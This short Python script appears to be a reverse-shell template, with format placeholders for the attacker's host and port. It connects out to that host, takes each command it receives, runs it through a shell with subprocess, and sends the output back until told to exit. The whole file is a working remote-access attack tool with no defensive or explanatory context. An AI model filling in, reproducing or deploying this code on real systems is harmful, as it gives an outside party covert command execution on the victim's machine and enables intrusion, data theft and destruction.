import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('%s', %d))
while 1:
    data = s.recv(1024).decode('UTF-8')
    if data == 'exit\n':
        break
    if len(data) > 0:
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        s.send(proc.stdout.read() + proc.stderr.read())
s.close()
